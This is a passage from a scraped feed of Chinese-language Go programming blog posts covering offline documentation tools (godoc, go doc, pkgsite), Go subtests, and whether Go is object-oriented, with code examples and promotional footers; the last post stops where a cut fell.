github.com/lni/dragonboat/v3 package dragonboat // import \u0026quot;github.com/lni/dragonboat/v3\u0026quot; Package dragonboat is a multi-group Raft implementation. The NodeHost struct is the facade interface for all features provided by the dragonboat package. Each NodeHost instance usually runs on a separate host managing its CPU, storage and network resources. Each NodeHost can manage Raft nodes from many different Raft groups known as Raft clusters. Each Raft cluster is identified by its ClusterID and it usually consists of multiple nodes, each identified its NodeID value. Nodes from the same Raft cluster can be considered as replicas of the same data, they are suppose to be distributed on different NodeHost instances across the network, this brings fault tolerance to machine and network failures as application data stored in the Raft cluster will be available as long as the majority of its managing NodeHost instances (i.e. its underlying hosts) are available. ... ... const DragonboatMajor = 3 ... var ErrClosed = errors.New(\u0026quot;dragonboat: closed\u0026quot;) ... var ErrInvalidOperation = errors.New(\u0026quot;invalid operation\u0026quot;) ... var ErrBadKey = errors.New(\u0026quot;bad key try again later\u0026quot;) ... var ErrNoSnapshot = errors.New(\u0026quot;no snapshot available\u0026quot;) ... func IsTempError(err error) bool func WriteHealthMetrics(w io.Writer) type ClusterInfo struct{ ... } type GossipInfo struct{ ... } type INodeUser interface{ ... } type Membership struct{ ... } type NodeHost struct{ ... } func NewNodeHost(nhConfig config.NodeHostConfig) (*NodeHost, error) type NodeHostInfo struct{ ... } type NodeHostInfoOption struct{ ... } var DefaultNodeHostInfoOption NodeHostInfoOption type RequestResult struct{ ... } type RequestResultCode int type RequestState struct{ ... } type SnapshotOption struct{ ... } var DefaultSnapshotOption SnapshotOption type SysOpState struct{ ... } type Target = string 如果要查看的依赖的module尚未get到本地，那么go doc会提示你先go get。\n在传统gopath模式下，go doc则会自动到\\$GOPATH下面查找对应的包路径，如果该包存在，就可以输出该包的相关文档。因此我们可以在任意路径下通过go doc查看第三方项目包的文档：\n$export GO111MODULE=off $go doc github.com/bigwhite/gocmpp.CmppActiveTestReqPktLen package cmpp // import \u0026quot;github.com/bigwhite/gocmpp\u0026quot; const ( CmppActiveTestReqPktLen uint32 = 12 //12d, 0xc CmppActiveTestRspPktLen uint32 = 12 + 1 //13d, 0xd ) Packet length const for cmpp active test request and response packets. 查看源码 如果要查看包的源码，我们没有必要将目录切换到该包所在路径并通过编辑器打开源文件查看，通过go doc我们一样可以查看包的完整源码或包的某元素的源码。\n查看标准库包源码：\n$go doc -src fmt.Printf package fmt // import \u0026quot;fmt\u0026quot; // Printf formats according to a format specifier and writes to standard output. // It returns the number of bytes written and any write error encountered. func Printf(format string, a ...interface{}) (n int, err error) { return Fprintf(os.Stdout, format, a...) } 查看当前路径包中导出元素的源码：\n$go doc -src NewClient package cmpp // import \u0026quot;.\u0026quot; // New establishes a new cmpp client. func NewClient(typ Type) *Client { return \u0026amp;Client{ typ: typ, } } 查看当前路径包中未导出元素的源码：\n$go doc -u -src newPacketWriter package cmpp // import \u0026quot;github.com/bigwhite/gocmpp\u0026quot; func newPacketWriter(initSize uint32) *packetWriter { buf := make([]byte, 0, initSize) return \u0026amp;packetWriter{ wb: bytes.NewBuffer(buf), } } 查看当前项目依赖的第三方包的某个函数的源码：\n$go doc -src github.com/lni/dragonboat/v3 IsTempError package dragonboat // import \u0026quot;github.com/lni/dragonboat/v3\u0026quot; // IsTempError returns a boolean value indicating whether the specified error // is a temporary error that worth to be retried later with the exact same // input, potentially on a more suitable NodeHost instance. func IsTempError(err error) bool { return err == ErrSystemBusy || err == ErrClusterClosed || err == ErrClusterNotInitialized || err == ErrClusterNotReady || err == ErrTimeout || err == ErrClosed } go doc是原生工具，也非常强大，但是go doc是cli工具，不是能满足所有人的“口味”，那么小伙伴们可能会问：是否有godoc那样的离线web文档中心的替代工具呢？我们接下来就来聊聊pkgsite。\n三. pkgsite Go官方推出新包文档站点后，在使用体验上的确有不少改善，新增了很多功能，下面是io包的在新包文档站点下的呈现形式：\nGo老版官方站点与godoc是匹配的，同样，Go在推出新版Go包文档站点后，也开源了其站点源码，这个项目就是pkgsite。我们可以通过下面命令安装pkgsite：\n$go install golang.org/x/pkgsite/cmd/pkgsite@latest 和godoc一样，pkgsite支持local mode，即离线模式。我们在某个go module下面(这里在gocmpp module的本地路径下)执行下面命令即可：\n$pkgsite 2023/03/16 23:26:37 Info: go/packages.Load([\u0026quot;all\u0026quot;]) loaded 247 packages from . in 3.762976863s 2023/03/16 23:26:37 Info: Listening on addr http://localhost:8080 我们看到pkgsite加载了“all”范围的所有包以及当前module的包。打开浏览器，输入localhost:8080，便可以打开pkgsite服务的首页：\n注：通过go help packages查看all的含义\n搜索你要的包，得到列表后，打开包的详情页面，其展示形式与官方pkg.go.dev是一模一样的。\n不过目前pkgsite在local模式下查看标准库包是有问题的，页面无法打开。\n总体感觉pkgsite目前主要还是以满足官方站点在线文档查看需求为主，对local模式的支持不是很好，用起来也较为晦涩，这里也有gopher抱怨，希望能重新恢复godoc工具，但估计Go官方肯定不会答应，毕竟不想维护两套展示风格不同的工具。pkgsite后续可能会有改善，但目前看来优先级似乎不高。\n四. 小结 日常开发工作中，我们总是online的，通过pkg.go.dev的在线文档可以满足绝大部分需求。\n如果真是处于离线状态，我个人建议你的开发机上至少要将godoc、pkgsite都装上。对于习惯了godoc的gopher而言，虽然godoc已“作废”，但Go基于注释的文档兼容性不错，godoc依然可以满足初步的离线文档查看需求。如果你已经喜欢上Go新站点的风格，对新站点功能有依赖，那么pkgsite也是可以使用的。再辅以go doc命令行工具，离线查看文档需求也能满足个七七八八。\n注：如果你使用的是像goland这样的IDE工具，其内置离线文档功能可能就会满足你的需求。\nGo社区也有一些的第三方的离线go文档工具，比如貘兄(go101)的golds也是不错的。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/03/20/godoc-vs-go-doc-vs-pkgsite/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/godoc-vs-go-doc-vs-pkgsite-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/03/20/godoc-vs-go-doc-vs-pkgsite\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/03/20/godoc-vs-go-doc-vs-pkgsite\"\u003ehttps://tonybai.com/2023/03/20/godoc-vs-go-doc-vs-pkgsite\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e就像\u003ca href=\"https://tonybai.com/2023/03/15/an-intro-of-go-subtest/\"\u003e上一篇文章聊到的Go内置单元测试框架\u003c/a\u003e一样，\u003ca href=\"https://tonybai.com/2022/05/04/the-paper-of-go-programming-language-and-environment\"\u003e既重视语言特性，又不忘对Go软件项目提供整体环境特性的Go\u003c/a\u003e在诞生伊始就定义了\u003ca href=\"https://go.dev/doc/comment\"\u003e如何在源码中通过注释编写代码文档的格式\u003c/a\u003e，并提供了基于代码注释实时生成Go文档并支持文档查看的工具。\u003c/p\u003e\n\u003cp\u003e而一些早期的语言，比如C、C++等则需要使用第三方工具(如\u003ca href=\"https://www.doxygen.nl/\"\u003edoxygen\u003c/a\u003e)以及这些工具规定的特定格式编写文档，缺少语言原生的文档标准与工具，给后期开发人员之间的协作带去了麻烦。\u003c/p\u003e\n\u003cp\u003e查看文档是开发人员日常必不可少的开发活动之一。Go语言从诞生那天起就十分重视项目文档的建设，为此Go为gopher们提供了多种丰富的文档查看工具，除了在\u003ca href=\"https://go.dev/doc\"\u003eGo官方网站\u003c/a\u003e可以在线查看到最新稳定发布版的文档之外，Go还为开发人员提供了\u003cstrong\u003e本地离线查看文档的工具\u003c/strong\u003e，比如：\u003ca href=\"https://github.com/golang/tools/tree/master/cmd/godoc\"\u003egodoc\u003c/a\u003e、go doc以及\u003ca href=\"https://github.com/golang/pkgsite\"\u003epkgsite\u003c/a\u003e。在这篇短文中，我们就来分别看看这三个Go文档查看工具。\u003c/p\u003e","title":"聊聊godoc、go doc与pkgsite"},{"content":"\n注：本篇首图片基于lexica AI生成的图片二次加工而成。\n本文永久链接 – https://tonybai.com/2023/03/15/an-intro-of-go-subtest\n单元测试(unit testing)是软件开发中至关重要的一环，它存在的意义包括但不限于如下几个方面：\n提高代码质量：单元测试可以确保代码的正确性、可靠性和稳定性，从而减少代码缺陷和bug。 减少回归测试成本：在修改代码时，单元测试可以快速检查是否影响了其他模块的功能，避免了整个系统的回归测试成本。 促进团队合作：单元测试可以帮助团队成员更好地理解和使用彼此编写的代码，提高代码的可读性和可维护性。 提高开发效率：单元测试可以自动化执行测试，减少手动测试的时间和工作量，从而提高开发效率。 Go语言设计者在Go设计伊始就决定语言特性与环境特性“两手都要抓，两手都要硬”，事实证明：Go的成功正是因为其对工程软件项目整体环境的专注。而Go内置轻量级测试框架这一点也正是Go重视环境特性的体现。并且，Go团队对这一内置测试框架的投入是持续的，不断有更便捷的、更灵活的新特性加入Go测试框架中，可以帮助Gopher更好地组织测试代码，更高效地执行测试等。\nGo在Go 1.7版本引入的subtest就是一个典型的代表，subtest的加入使得Gopher可以更灵活地应用内置go test框架。\n在本文中，我将结合日常开发中了解到的关于subtest的认知、理解和使用的问题，和大家一起聊聊subtest。\n一. Go单元测试回顾 在Go语言中，单元测试被视为一等公民，结合Go内置的轻量级测试框架，Go开发者可以很方便的编写单元测试用例。\nGo的单元测试通常放在与被测试代码相同的包中，单元测试所在源文件以_test.go结尾，这个Go测试框架要求的。测试函数以Test为前缀，接受一个*testing.T类型的参数，并使用t.Error、t.Fail以及t.Fatal等方法来报告测试失败。使用go test命令即可运行所有的测试代码。如果测试通过，则输出一条消息表示测试成功；否则输出错误信息，指出哪些测试失败了。\n注：Go还支持基准测试、example测试、模糊测试等，以便进行性能测试和文档生成，但这些不是这篇文章所要关注的内容。\n注：t.Error \u0026lt;=\u0026gt; t.Log+t.Fail\n通常编写Go测试代码时，我们首先会考虑top-level test。\n二. Go top-level test 上面提到的与被测源码在相同目录下的*_test.go中的以Test开头的函数就是Go top-level test。在*_test.go可以定义一个或多个以Test开头的函数用于测试被测源码中函数或方法。例如：\n// https://github.com/bigwhite/experiments/blob/master/subtest/add_test.go // 被测代码，仅是demo func Add(a, b int) int { return a + b } // 测试代码 func TestAdd(t *testing.T) { got := Add(2, 3) if got != 5 { t.Errorf(\u0026quot;Add(2, 3) got %d, want 5\u0026quot;, got) } } func TestAddZero(t *testing.T) { got := Add(2, 0) if got != 2 { t.Errorf(\u0026quot;Add(2, 0) got %d, want 2\u0026quot;, got) } } func TestAddOppositeNum(t *testing.T) { got := Add(2, -2) if got != 0 { t.Errorf(\u0026quot;Add(2, -2) got %d, want 0\u0026quot;, got) } } 注：“got-want”是Go test中在Errorf中常用的命名惯例\ntop-level test的执行有如下特点：\ngo test会将每个TestXxx放在单独的goroutine中执行，保持相互的隔离； 某个TestXxx用例未过，通过Errorf，甚至是Fatalf输出错误结果，都不会影响到其他TestXxx的执行； 某个TestXxx用例中的某个结果判断未过，如果通过Errorf输出错误结果，则该TestXxx会继续执行； 不过，如果TestXxx使用的是Fatal/Fatalf，这会导致该TestXxx的执行在调用Fatal/Fatalf的位置立即结束，TestXxx函数体内的后续测试代码将不会得到执行； 默认各个TestXxx按声明顺序逐一执行，即便它们是在各自的goroutine中执行的； 通过go test -shuffle=on可以让各个TestXxx按随机次序执行，这样可以检测出各个TestXxx之间是否存在执行顺序的依赖，我们要避免在测试代码中出现这种依赖； 通过“go test -run=正则式”的方式，可以选择执行某些TestXxx。 各个TestXxx函数可以调用t.Parallel方法(即testing.T.Parallel方法)来将TestXxx加入到可并行执行的用例集合中，注意：加入到并行执行集合后，这些TestXxx的执行顺序就不确定了。 结合属于Go最佳实践的表驱动(table-driven)测试(如下面代码TestAddWithTable所示)，我们可以无需写很多TestXxx，用下面的TestAddWithTable即可实现上面三个TestXxx的等价测试：\nfunc TestAddWithTable(t *testing.T) { cases := []struct { name string a int b int r int }{ {\u0026quot;2+3\u0026quot;, 2, 3, 5}, {\u0026quot;2+0\u0026quot;, 2, 0, 2}, {\u0026quot;2+(-2)\u0026quot;, 2, -2, 0}, //... ... } for _, caze := range cases { got := Add(caze.a, caze.b) if got != caze.r { t.Errorf(\u0026quot;%s got %d, want %d\u0026quot;, caze.name, got, caze.r) } } } Go top-level test可以满足大多数Gopher的常规单测需求，表驱动的惯例理解起来也十分容易。\n但基于top-level test+表驱动的测试在简化测试代码编写的同时，也会带来一些不足：\n表内的cases顺序执行，无法shuffle; 表内所有cases在同一个goroutine中执行，隔离性差； 如果使用fatal/fatalf，那么一旦某个case失败，后面的测试表项(cases)将不能得到执行； 表内test case无法并行(parallel)执行； 测试用例的组织只能平铺，不够灵活，无法建立起层次。 为此Go 1.7版本引入了subtest！\n三. Subtest Go语言的subtest是指将一个测试函数(TestXxx)分成多个小测试函数，每个小测试函数可以独立运行并报告测试结果的功能。这种测试方式可以更细粒度地控制测试用例，方便定位问题和调试。\n下面是一个使用subtest改造TestAddWithTable的示例代码，展示如何使用Go语言编写subtest：\n// https://github.com/bigwhite/experiments/blob/master/subtest/add_sub_test.go func TestAddWithSubtest(t *testing.T) { cases := []struct { name string a int b int r int }{ {\u0026quot;2+3\u0026quot;, 2, 3, 5}, {\u0026quot;2+0\u0026quot;, 2, 0, 2}, {\u0026quot;2+(-2)\u0026quot;, 2, -2, 0}, //... ... } for _, caze := range cases { t.Run(caze.name, func(t *testing.T) { t.Log(\u0026quot;g:\u0026quot;, curGoroutineID()) got := Add(caze.a, caze.b) if got != caze.r { t.Errorf(\u0026quot;got %d, want %d\u0026quot;, got, caze.r) } }) } } 在上面的代码中，我们定义了一个名为TestAddWithSubtest的测试函数，并在其中使用t.Run()方法结合表测试方式来创建三个subtest，这样每个subtest都可以复用相同的错误处理逻辑，但通过测试用例参数的不同来体现差异。当然你若不使用表驱动测试，那么每个subtest也都可以有自己独立的错误处理逻辑！\n执行上面TestAddWithSubtest这个测试用例（我们故意将Add函数的实现改成错误的），我们将看到下面结果：\n$go test add_sub_test.go --- FAIL: TestAddWithSubtest (0.00s) --- FAIL: TestAddWithSubtest/2+3 (0.00s) add_sub_test.go:54: got 6, want 5 --- FAIL: TestAddWithSubtest/2+0 (0.00s) add_sub_test.go:54: got 3, want 2 --- FAIL: TestAddWithSubtest/2+(-2) (0.00s) add_sub_test.go:54: got 1, want 0 我们看到：在错误信息输出中，每个失败case都是以“TestXxx/subtestName”标识，我们可以很容易地将其与相应的代码行对应起来。更深层的意义是subtest让整个测试组织形式有了“层次感”！通过-run标志位，我们便能够以这种“层次”选择要执行的某个top-level test的某个/某些Subtest：\n$go test -v -run TestAddWithSubtest/-2 add_sub_test.go === RUN TestAddWithSubtest === RUN TestAddWithSubtest/2+(-2) add_sub_test.go:51: g: 19 add_sub_test.go:54: got 1, want 0 --- FAIL: TestAddWithSubtest (0.00s) --- FAIL: TestAddWithSubtest/2+(-2) (0.00s) FAIL FAIL command-line-arguments 0.006s FAIL 我们来看看subtest有哪些特点(可以和前面的top-level test对比着看)：\ngo subtest也会放在单独的goroutine中执行，保持相互的隔离； 某个Subtest用例未过，通过Errorf，甚至是Fatalf输出错误结果，都不会影响到同一TestXxx下的其他Subtest的执行； 某个Subtest中的某个结果判断未过，如果通过Errorf输出错误结果，则该Subtest会继续执行； 不过，如果subtest使用的是Fatal/Fatalf，这会导致该subtest的执行在调用Fatal/Fatalf的位置立即结束，subtest函数体内的后续测试代码将不会得到执行； 默认各个TestXxx下的subtest将按声明顺序逐一执行，即便它们是在各自的goroutine中执行的； 到目前为止，subtest不支持shuffle方式的随机序执行； 通过“go test -run=TestXxx/正则式[/\u0026hellip;]”的方式，我们可以选择执行TestXxx下的某个或某些subtest； 各个subtest可以调用t.Parallel方法(即testing.T.Parallel方法)来将subtest加入到可并行执行的用例集合中，注意：加入到并行执行集合后，这些subTest的执行顺序就不确定了。 综上，subtest的优点可以总结为以下几点：\n更细粒度的测试：通过将测试用例分成多个小测试函数，可以更容易地定位问题和调试。 可读性更好：subtest可以让测试代码更加清晰和易于理解。 更灵活的测试：subtest可以根据需要进行组合和排列，以满足不同的测试需求。 更有层次的组织测试代码：通过subtest可以设计出更有层次的测试代码组织形式，更方便地共享资源和在某一组织层次上设置setup与teardown，我的《Go语言精进之路》vol2的第41条“有层次地组织测试代码”对这方面内容有系统说明，大家可以参考。 四. Subtest vs. top-level test top-level test自身其实也是一种subtest，只是在它的调度与执行是由Go测试框架掌控的的，对我们开发人员并不可见。\n对于gopher而言：\n简单的包的测试在top-level test中就可以满足，直接、直观、易懂。 对于稍大一些的工程中的复杂包来说，一旦涉及到测试代码组织的层次设计时，subtest的组织性、灵活性和可扩展性便可以更好地的帮助我们提高测试效率和减少测试时间。 注：本文少部分内容来自于ChatGPT生成的答案。\n本文涉及的源码可以在这里下载。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/03/15/an-intro-of-go-subtest/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/an-intro-of-go-subtest-1.png\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注：本篇首图片基于\u003ca href=\"https://lexica.art/\"\u003elexica AI\u003c/a\u003e生成的图片二次加工而成。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/03/15/an-intro-of-go-subtest\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/03/15/an-intro-of-go-subtest\"\u003ehttps://tonybai.com/2023/03/15/an-intro-of-go-subtest\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2010/09/30/opensource-a-lightweight-c-unit-test-framework/\"\u003e单元测试(unit testing)\u003c/a\u003e是软件开发中至关重要的一环，它存在的意义包括但不限于如下几个方面：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e提高代码质量：单元测试可以确保代码的正确性、可靠性和稳定性，从而减少代码缺陷和bug。\u003c/li\u003e\n\u003cli\u003e减少回归测试成本：在修改代码时，单元测试可以快速检查是否影响了其他模块的功能，避免了整个系统的回归测试成本。\u003c/li\u003e\n\u003cli\u003e促进团队合作：单元测试可以帮助团队成员更好地理解和使用彼此编写的代码，提高代码的可读性和可维护性。\u003c/li\u003e\n\u003cli\u003e提高开发效率：单元测试可以自动化执行测试，减少手动测试的时间和工作量，从而提高开发效率。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eGo语言设计者在Go设计伊始就决定语言特性与环境特性“两手都要抓，两手都要硬”，事实证明：\u003cstrong\u003e\u003ca href=\"https://tonybai.com/2022/05/04/the-paper-of-go-programming-language-and-environment\"\u003eGo的成功正是因为其对工程软件项目整体环境的专注\u003c/a\u003e\u003c/strong\u003e。而Go内置轻量级测试框架这一点也正是Go重视环境特性的体现。并且，Go团队对这一内置测试框架的投入是持续的，不断有更便捷的、更灵活的新特性加入Go测试框架中，可以帮助Gopher更好地组织测试代码，更高效地执行测试等。\u003c/p\u003e","title":"一文搞懂Go subtest"},{"content":"\n本文永久链接 – https://tonybai.com/2023/03/12/is-go-object-oriented\nGo语言已经开源13年了，在近期TIOBE发布的2023年3月份的编程语言排行榜中，Go再次冲入前十，相较于Go在2022年底的排名提升了2个位次：\n《Go语言第一课》专栏中关于Go在这两年开始飞起的“预言”也正在逐步成为现实^_^，大家学习Go的热情也在快速提升， 《Go语言第一课》专栏的学习的人数年后也快速增加，快突破2w了。\n很多专栏的订阅者都是第一次接触Go，他们中的很多是来自像Java, Ruby这样的OO(面向对象)语言阵营的，他们学习Go之后的第一个问题便是：Go是一门OO语言吗？在这篇博文中，我们就来探讨一下。\n一. 溯源 在公认的Go语言“圣经”《Go程序设计语言》一书中，有这样一幅Go语言与其主要的先祖编程语言的亲缘关系图：\n从图中我们可以清晰看到Go语言的“继承脉络”：\n从C语言那里借鉴了表达式语法、控制语句、基本数据类型、值参数传递、指针等； 从Oberon-2语言那里借鉴了package、包导入和声明的语法，而Object Oberon提供了方法声明的语法。 从Alef语言以及Newsqueak语言中借鉴了基于CSP的并发语法。 我们看到，从Go先祖溯源的情况来看，Go并没有从纯面向对象语言比如Simula、SmallTalk等那里取经。\nGo诞生于2007年，开源于2009年，那正是面向对象语言和OO范式大行其道的时期。不过Go设计者们觉得经典OO的继承体系对程序设计与扩展似乎并无太多好处，还带来了较多的限制，因此在正式版本中并没有支持经典意义上的OO语法，即基于类和对象实现的封装、继承和多态这三大OO主流特性。\n但这是否说明Go不是一门OO语言呢？也不是！ 带有面向对象机制的Object Oberon也是Go的先祖语言之一，虽然Object Oberon的OO语法又与我们今天常见的语法有较大差异。\n就此问题，我还特意咨询了ChatGPT^_^，得到的答复如下：\nChatGPT认为：Go支持面向对象，提供了对面向对象范式基本概念的支持，但支持的手段却并不是类与对象。\n那么针对这个问题Go官方是否有回应呢？有的，我们来看一下。\n二. 官方声音 Go官方在FAQ中就Go是否是OO语言做了简略回应：\nIs Go an object-oriented language? Yes and no. Although Go has types and methods and allows an object-oriented style of programming, there is no type hierarchy. The concept of “interface” in Go provides a different approach that we believe is easy to use and in some ways more general. There are also ways to embed types in other types to provide something analogous—but not identical—to subclassing. Moreover, methods in Go are more general than in C++ or Java: they can be defined for any sort of data, even built-in types such as plain, “unboxed” integers. They are not restricted to structs (classes). Also, the lack of a type hierarchy makes “objects” in Go feel much more lightweight than in languages such as C++ or Java. 粗略翻译过来就是：\nGo是一种面向对象的语言吗？ 是，也不是。虽然Go有类型和方法，并且允许面向对象的编程风格，但却没有类型层次。Go中的“接口”概念提供了一种不同的OO实现方案，我们认为这种方案更易于使用，而且在某些方面更加通用。还有一些可以将类型嵌入到其他类型中以提供类似子类但又不等同于子类的机制。此外，Go中的方法比C++或Java中的方法更通用：Go可以为任何数据类型定义方法，甚至是内置类型，如普通的、“未装箱的”整数。Go的方法并不局限于结构体（类）。 此外，由于去掉了类型层次，Go中的“对象”比C++或Java等语言更轻巧。 “是，也不是”！我们看到Go官方给出了一个“对两方都无害”的中庸的回答。那么Go社区是怎么认为的呢？我们来看看Go社区的一些典型代表的观点。\n三. 社区声音 Jaana Dogan和Steve Francia都是前Go核心团队成员，他们在加入Go团队之前对“Go是否是OO语言”这一问题也都有自己的观点论述。\nJaana Dogan在《The Go type system for newcomers》一文中给出的观点是：Go is considered as an object-oriented language even though it lacks type hierarchy，即“Go被认为是一种面向对象的语言，即使它缺少类型层次结构”。\n而更早一些的是Steve Francia在2014年发表的文章《Is Go an Object Oriented language?》中的结论观点：Go，没有对象或继承的面向对象编程，也可称为“无对象”的OO编程模型。\n两者表达的遣词不同，但含义却异曲同工，即Go支持面向对象编程，但却不是通过提供经典的类、对象以及类型层次来实现的。\n那么Go究竟是以何种方式实现对OOP的支持的呢？我们继续看！\n四. Go的“无对象”OO编程 经典OO的三大特性是封装、继承与多态，这里我们看看Go中是如何对应的。\n1. 封装 封装就是把数据以及操作数据的方法“打包”到一个抽象数据类型中，这个类型封装隐藏了实现的细节，所有数据仅能通过导出的方法来访问和操作。 这个抽象数据类型的实例被称为对象。经典OO语言，如Java、C++等都是通过类(class)来表达封装的概念，通过类的实例来映射对象的。熟悉Java的童鞋一定记得《Java编程思想》一书的第二章的标题：“一切都是对象”。在Java中所有属性、方法都定义在一个个的class中。\nGo语言没有class，那么封装的概念又是如何体现的呢？来自OO语言的初学者进入Go世界后，都喜欢“对号入座”，即Go中什么语法元素与class最接近！于是他们找到了struct类型。\nGo中的struct类型中提供了对真实世界聚合抽象的能力，struct的定义中可以包含一组字段(field)，如果从OO角度来看，你也可以将这些字段视为属性，同时，我们也可以为struct类型定义方法(method)，下面例子中我们定义了一个名为Point的struct类型，它拥有一个导出方法Length：\ntype Point struct { x, y float64 } func (p Point) Length() float64 { return math.Sqrt(p.x * p.x + p.y * p.y) } 我们看到，从语法形式上来看，与经典OO声明类的方法不同，Go方法声明并不需要放在声明struct类型的大括号中。Length方法与Point类型建立联系的纽带是一个被称为receiver参数的语法元素。\n那么，struct是否就是对应经典OO中的类呢? 是，也不是！从数据聚合抽象来看，似乎是这样, struct类型可以拥有多个异构类型的、代表不同抽象能力的字段(比如整数类型int可以用来抽象一个真实世界物体的长度，string类型字段可以用来抽象真实世界物体的名字等)。\n但从拥有方法的角度，不仅是struct类型，Go中除了内置类型的所有其他具名类型都可以拥有自己的方法，哪怕是一个底层类型为int的新类型MyInt：\ntype MyInt int func(a MyInt)Add(b int) MyInt { return a + MyInt(b) } 2. 继承 就像前面说的，Go设计者在Go诞生伊始就重新评估了对经典OO的语法概念的支持，最终放弃了对诸如类、对象以及类继承层次体系的支持。也就是说：在Go中体现封装概念的类型之间都是“路人”，没有亲爹和儿子的关系的“牵绊”。\n谈到OO中的继承，大家更多想到的是子类继承了父类的属性与方法实现。Go虽然没有像Java extends关键字那样的显式继承语法，但Go也另辟蹊径地对“继承”提供了支持。这种支持方式就是类型嵌入(type embedding)，看一个例子：\ntype P struct { A int b string } func (P) M1() { } func (P) M2() { } type Q struct { c [5]int D float64 } func (Q) M3() { } func (Q) M4() { } type T struct { P Q E int } func main() { var t T t.M1() t.M2() t.M3() t.M4() println(t.A, t.D, t.E) } 我们看到类型T通过嵌入P、Q两个类型，“继承”了P、Q的导出方法(M1~M4)和导出字段(A、D)。\n关于类型嵌入的具体语法说明，大家可以温习一下《十分钟入门Go语言》或《Go语言第一课》专栏。\n不过实际Go中的这种“继承”机制并非经典OO中的继承，其外围类型(T)与嵌入的类型(P、Q)之间没有任何“亲缘”关系。P、Q的导出字段和导出方法只是被提升为T的字段和方法罢了，其本质是一种组合，是组合中的代理（delegate）模式的一种实现。T只是一个代理（delegate），对外它提供了它可以代理的所有方法，如例子中的M1~M4方法。当外界发起对T的M1方法的调用后，T将该调用委派给它内部的P实例来实际执行M1方法。\n以经典OO理论话术去理解就是T与P、Q的关系不是is-a，而是has-a的关系。\n3. 多态 经典OO中的多态是尤指运行时多态，指的是调用方法时，会根据调用方法的实际对象的类型来调用不同类型的方法实现。\n下面是一个C++中典型多态的例子：\n#include \u0026lt;iostream\u0026gt; class P { public: virtual void M() = 0; }; class C1: public P { public: void M(); }; void C1::M() { std::cout \u0026lt;\u0026lt; \u0026quot;c1.M()\\n\u0026quot;; } class C2: public P { public: void M(); }; void C2::M() { std::cout \u0026lt;\u0026lt; \u0026quot;c2.M()\\n\u0026quot;; } int main() { C1 c1; C2 c2; P *p = \u0026amp;c1; p-\u0026gt;M(); // c1.M() p = \u0026amp;c2; p-\u0026gt;M(); // c2.M() } 这段代码比较清晰，一个父类P和两个子类C1和C2。父类P有一个虚拟成员函数M，两个子类C1和C2分别重写了M成员函数。在main中，我们声明父类P的指针，然后将C1和C2的对象实例分别赋值给p并调用M成员函数，从结果来看，在运行时p实际调用的函数会根据其指向的对象实例的实际类型而分别调用C1和C2的M。\n显然，经典OO的多态实现依托的是类型的层次关系。那么对应没有了类型层次体系的Go来说，它又是如何实现多态的呢？Go使用接口来解锁多态！\n和经典OO语言相比，Go更强调行为聚合与一致性，而非数据。因此Go提供了对类似duck typing的支持，即基于行为集合的类型适配，但相较于ruby等动态语言，Go的静态类型机制还可以保证应用duck typing时的类型安全。\nGo的接口类型本质就是一组方法集合(行为集合)，一个类型如果实现了某个接口类型中的所有方法，那么就可以作为动态类型赋值给接口类型。通过该接口类型变量的调用某一方法，实际调用的就是其动态类型的方法实现。看下面例子：\ntype MyInterface interface { M1() M2() M3() } type P struct { } func (P) M1() {} func (P) M2() {} func (P) M3() {} type Q int func (Q) M1() {} func (Q) M2() {} func (Q) M3() {} func main() { var p P var q Q var i MyInterface = p i.M1() // P.M1 i.M2() // P.M2 i.M3() // P.M3 i = q i.M1() // Q.M1 i.M2() // Q.M2 i.M3() // Q.M3 } Go这种无需类型继承层次体系、低耦合方式的多态实现，是不是用起来更轻量、更容易些呢！\n五. Gopher的“OO思维” 